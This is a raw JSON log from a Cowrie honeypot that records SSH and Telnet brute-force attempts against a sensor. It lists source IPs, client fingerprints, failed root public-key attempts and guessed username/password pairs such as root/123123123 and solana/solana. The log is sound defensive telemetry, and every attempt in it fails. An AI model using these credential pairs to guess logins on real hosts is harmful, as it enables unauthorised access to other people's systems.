{"eventid":"cowrie.session.closed","duration":45.692983865737915,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:41.244013Z","src_ip":"152.42.224.71","session":"654a7fbac5a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53646,"dst_ip":"10.17.0.5","dst_port":22,"session":"f388e82226ef","protocol":"ssh","message":"New connection: 103.153.68.219:53646 (10.17.0.5:22) [session: f388e82226ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:42.930643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:42.935583Z","src_ip":"103.153.68.219","session":"f388e82226ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:43.187583Z","src_ip":"103.153.68.219","session":"f388e82226ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3","message":"login attempt [root/a1s2d3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:43.945716Z","src_ip":"103.153.68.219","session":"f388e82226ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:45.200039Z","src_ip":"103.153.68.219","session":"f388e82226ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.756898641586304,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:48.845797Z","src_ip":"152.42.224.71","session":"f3302b7ff4e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9edf3a684068","protocol":"ssh","message":"New connection: 2.57.122.238:42864 (10.17.0.5:22) [session: 9edf3a684068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:55.985720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:55.991064Z","src_ip":"2.57.122.238","session":"9edf3a684068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:56.095325Z","src_ip":"2.57.122.238","session":"9edf3a684068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:56.408286Z","src_ip":"2.57.122.238","session":"9edf3a684068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.44.61.233","src_port":45792,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28fff426b19","protocol":"telnet","message":"New connection: 177.44.61.233:45792 (159.203.135.109:23) [session: a28fff426b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:57.076832Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:57.516123Z","src_ip":"2.57.122.238","session":"9edf3a684068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":58010,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b04f416b101","protocol":"ssh","message":"New connection: 43.173.88.240:58010 (10.17.0.5:22) [session: 9b04f416b101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:57.829807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:57.834708Z","src_ip":"43.173.88.240","session":"9b04f416b101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:57.903674Z","src_ip":"43.173.88.240","session":"9b04f416b101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:58.209492Z","src_ip":"43.173.88.240","session":"9b04f416b101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:59.282422Z","src_ip":"43.173.88.240","session":"9b04f416b101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.59479117393494,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:02.038685Z","src_ip":"152.42.224.71","session":"9367203468bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":46286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a0cd7e4263","protocol":"ssh","message":"New connection: 176.32.39.21:46286 (10.17.0.5:22) [session: b2a0cd7e4263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:04.058510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:04.131625Z","src_ip":"176.32.39.21","session":"b2a0cd7e4263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:04.218796Z","src_ip":"176.32.39.21","session":"b2a0cd7e4263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"murzik","message":"login attempt [root/murzik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:04.682814Z","src_ip":"176.32.39.21","session":"b2a0cd7e4263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:05.810209Z","src_ip":"176.32.39.21","session":"b2a0cd7e4263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.109.228.161","src_port":41324,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ae53d5900c","protocol":"ssh","message":"New connection: 65.109.228.161:41324 (10.17.0.5:22) [session: a0ae53d5900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:08.378238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:08.383329Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:08.495995Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:76:61:05:a8:70:bb:23:ee:98:d3:d5:15:4e:17:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWiw99CfAuPJWPJde1rHVAXIF7V3BLq0J52U43hoYyre5Sdme87GsrTWd22exlvJGpzbiSjf7NsnjghI8DiZs7lDIhrrGtiaAi+uGYG+OvGaI0TuQpRgxFBolhQj+OHf4sVdtE9Eq8mZ9/IwdEuRIB+KiXpAYdOSnTAfgJgcXkxcLK1srSDnM6EwgATOaRIldTXhbW1h2hyLTMXK9CUYFPkXbDxU1BlmreVTMI5TXJm3fxYScRFGjCjp48qQt6GWoqRc1Q6j6k8YUpze7uoguwUEmaf4ak3KPl/82LCFAf0seMKj95fvTFG6jNkbE3kw3L7Z50UkUwHr5dbj2wEo/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:76:61:05:a8:70:bb:23:ee:98:d3:d5:15:4e:17:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.036104Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:76:61:05:a8:70:bb:23:ee:98:d3:d5:15:4e:17:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWiw99CfAuPJWPJde1rHVAXIF7V3BLq0J52U43hoYyre5Sdme87GsrTWd22exlvJGpzbiSjf7NsnjghI8DiZs7lDIhrrGtiaAi+uGYG+OvGaI0TuQpRgxFBolhQj+OHf4sVdtE9Eq8mZ9/IwdEuRIB+KiXpAYdOSnTAfgJgcXkxcLK1srSDnM6EwgATOaRIldTXhbW1h2hyLTMXK9CUYFPkXbDxU1BlmreVTMI5TXJm3fxYScRFGjCjp48qQt6GWoqRc1Q6j6k8YUpze7uoguwUEmaf4ak3KPl/82LCFAf0seMKj95fvTFG6jNkbE3kw3L7Z50UkUwHr5dbj2wEo/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.040611Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:df:cc:19:19:bb:e8:ff:b6:84:10:cd:af:00:4b:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyi32y9NCyy6uOvFF6sxQp9sHrVKBgsFpgNt69ut9E3vDva3QsgZv6mkb+qXI46bt70ayl+x5jP3CIk6FjU7dO2dYPgr1wk2i/FTDdiskbXNlZ2chPThi3Tn6wiMUaMT7ktXae9Eyw0aOlFAIyDqK9Ow2yc0j8+MY94k5HZMU6NqhKCCGk8lwaTehJXOGHoYzqS/I/DRtdN3kPnxn3ZQiy1qn8BeH62SipAUqLVdgQZg22cOQ/a/JrQMjJFpn6sWFs4Zx0vCsVTBY0n5NpFf0tGR+mZQBdpa1YsKZcBmFjnlIzm+/VwYhEPbWbGuxX1UtMQdcpG9GEI7HJA3ND/cM5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:df:cc:19:19:bb:e8:ff:b6:84:10:cd:af:00:4b:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.156540Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:df:cc:19:19:bb:e8:ff:b6:84:10:cd:af:00:4b:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyi32y9NCyy6uOvFF6sxQp9sHrVKBgsFpgNt69ut9E3vDva3QsgZv6mkb+qXI46bt70ayl+x5jP3CIk6FjU7dO2dYPgr1wk2i/FTDdiskbXNlZ2chPThi3Tn6wiMUaMT7ktXae9Eyw0aOlFAIyDqK9Ow2yc0j8+MY94k5HZMU6NqhKCCGk8lwaTehJXOGHoYzqS/I/DRtdN3kPnxn3ZQiy1qn8BeH62SipAUqLVdgQZg22cOQ/a/JrQMjJFpn6sWFs4Zx0vCsVTBY0n5NpFf0tGR+mZQBdpa1YsKZcBmFjnlIzm+/VwYhEPbWbGuxX1UtMQdcpG9GEI7HJA3ND/cM5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.160820Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:9e:8b:85:84:78:15:f8:51:77:84:18:f6:fd:86:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDELJOa6dK/oPOxojdzv8C8bl5r+gUqvoxMh8yYvnPA+f/yhV8cXQLTcwq9RhLqslDwa5l/TZYpSnWdNA2T8LItdkLgUx/I+KMjh8FhVIVHq3DMZ8re769e1J9Htdg+NXHsgk7ug46eVbcRYrYS9dsqzOW1j+imKHRAz9qSj75UincAfl6ZPOtADUcQtlPH6igEqCIU+39psoX6c9MkwWOmxHTLjxP8t/ARhCNS8ghFsHWkLjNWLacSsTTljb0SXH/BnVpFgPgxZCmWQBwyj4dTXC8lxh7efnlQuCU2Qv7CF1orv+UmTCD4L1WTswrm1jmIZ3lT/JLr2aNqn/ohd8o4c+CsTrdLhKo7UQPkaNLu0eiFm954ZSrUyt18Eh1Q2QKGD9NNpLiz4iHCzS2E8rAngWFaHCckugdDerP4LsAEtZuqna2oXpR2Apxd56S5CWfQJ0e4hd1+brF0Go2jXljC2CLxWweuHaS2kku68PcfCMi8I/FZk5HsdtKIEZLiEBcEfIpyqhPS7bGbQtii9E/vFq5tr2WwpGMdKKvjfl6r4yv4+53hYqinwStks4O2DeKpqOGFgdGNXVS2ksv2FrKb9KL5Gt9y/aTlXXxMh1zhM+jdM0ji2R27BctlfaoqjVG6Iw6wcndmli0dF35zDuaSlpK4unORucOpWN+homso4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:9e:8b:85:84:78:15:f8:51:77:84:18:f6:fd:86:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.277299Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:9e:8b:85:84:78:15:f8:51:77:84:18:f6:fd:86:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDELJOa6dK/oPOxojdzv8C8bl5r+gUqvoxMh8yYvnPA+f/yhV8cXQLTcwq9RhLqslDwa5l/TZYpSnWdNA2T8LItdkLgUx/I+KMjh8FhVIVHq3DMZ8re769e1J9Htdg+NXHsgk7ug46eVbcRYrYS9dsqzOW1j+imKHRAz9qSj75UincAfl6ZPOtADUcQtlPH6igEqCIU+39psoX6c9MkwWOmxHTLjxP8t/ARhCNS8ghFsHWkLjNWLacSsTTljb0SXH/BnVpFgPgxZCmWQBwyj4dTXC8lxh7efnlQuCU2Qv7CF1orv+UmTCD4L1WTswrm1jmIZ3lT/JLr2aNqn/ohd8o4c+CsTrdLhKo7UQPkaNLu0eiFm954ZSrUyt18Eh1Q2QKGD9NNpLiz4iHCzS2E8rAngWFaHCckugdDerP4LsAEtZuqna2oXpR2Apxd56S5CWfQJ0e4hd1+brF0Go2jXljC2CLxWweuHaS2kku68PcfCMi8I/FZk5HsdtKIEZLiEBcEfIpyqhPS7bGbQtii9E/vFq5tr2WwpGMdKKvjfl6r4yv4+53hYqinwStks4O2DeKpqOGFgdGNXVS2ksv2FrKb9KL5Gt9y/aTlXXxMh1zhM+jdM0ji2R27BctlfaoqjVG6Iw6wcndmli0dF35zDuaSlpK4unORucOpWN+homso4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.282609Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:31:11:55:ae:39:96:4c:a6:9b:15:03:f5:5a:32:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGKgqjCGnPIJtfDQFGczxCmRxcjDGG4KneUfOUPRyokb5/+t9s44kLPPEb/C+i/jBLkIXBzewV2jJ3ueDt69brEbMOrq1BHBxeSUBYC9aOPDT4ABWw1H3F0+xN+8lSo2Q35OWoQb/VBv4yZxZ/pwc3wd0MMZXXWgQtxbuAWY5zK6sFm4RSJgTlrWHy4F3DCeOibZWd72q5+WK/ysHWJqL1RaX0DjdOzQTkRzy2mfGHWZWPRnTj47W6Wk2fCi8K23NIeoYqAE8nXNI7SfD/ptvYKoyNWoNzkzVqZRfi1MJwanGz0+jmT01+p1Lv4ffU0/Ql/rvH71P6z+y/so7fuu6b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:31:11:55:ae:39:96:4c:a6:9b:15:03:f5:5a:32:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.400646Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:31:11:55:ae:39:96:4c:a6:9b:15:03:f5:5a:32:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGKgqjCGnPIJtfDQFGczxCmRxcjDGG4KneUfOUPRyokb5/+t9s44kLPPEb/C+i/jBLkIXBzewV2jJ3ueDt69brEbMOrq1BHBxeSUBYC9aOPDT4ABWw1H3F0+xN+8lSo2Q35OWoQb/VBv4yZxZ/pwc3wd0MMZXXWgQtxbuAWY5zK6sFm4RSJgTlrWHy4F3DCeOibZWd72q5+WK/ysHWJqL1RaX0DjdOzQTkRzy2mfGHWZWPRnTj47W6Wk2fCi8K23NIeoYqAE8nXNI7SfD/ptvYKoyNWoNzkzVqZRfi1MJwanGz0+jmT01+p1Lv4ffU0/Ql/rvH71P6z+y/so7fuu6b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.404849Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
